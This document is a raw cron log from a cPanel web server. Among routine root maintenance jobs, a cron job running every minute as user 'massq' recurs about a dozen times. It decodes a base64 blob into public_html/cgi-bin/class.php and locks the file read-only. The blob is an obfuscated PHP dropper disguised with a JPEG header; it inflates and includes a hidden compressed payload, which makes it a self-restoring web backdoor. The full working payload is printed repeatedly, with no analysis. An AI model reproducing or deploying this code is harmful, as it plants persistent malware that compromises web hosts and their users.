Sep  8 09:04:01 server CROND[12703]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:04:01 server CROND[12704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:04:01 server CROND[12705]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:05:01 server CROND[13107]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 09:05:01 server CROND[13108]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 09:05:01 server CROND[13109]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:05:01 server CROND[13112]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 09:05:01 server CROND[13113]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:05:01 server CROND[13115]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:05:01 server CROND[13116]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 09:05:01 server CROND[13117]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 09:06:01 server CROND[13973]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:06:01 server CROND[13974]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:06:01 server CROND[13975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:07:01 server CROND[14360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:07:01 server CROND[14361]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:07:01 server CROND[14362]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:08:01 server CROND[14848]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:08:01 server CROND[14849]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:08:01 server CROND[14852]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:09:01 server CROND[15242]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:09:01 server CROND[15243]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:09:01 server CROND[15244]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 09:09:01 server CROND[15245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:10:01 server CROND[15654]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 09:10:01 server CROND[15655]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 09:10:01 server CROND[15658]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 09:10:01 server CROND[15657]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:10:01 server CROND[15659]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:10:01 server CROND[15656]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 09:10:01 server CROND[15660]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:10:01 server CROND[15662]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 09:11:01 server CROND[16509]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:11:01 server CROND[16510]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:11:01 server CROND[16511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:12:01 server CROND[16880]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:12:01 server CROND[16881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:12:01 server CROND[16883]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 09:12:01 server CROND[16882]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:13:01 server CROND[17348]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:13:01 server CROND[17349]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:13:01 server CROND[17350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:14:01 server CROND[17713]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:14:01 server CROND[17712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:14:01 server CROND[17714]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:15:01 server CROND[18093]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 09:15:01 server CROND[18096]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 09:15:01 server CROND[18095]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 09:15:01 server CROND[18100]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 09:15:01 server CROND[18102]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
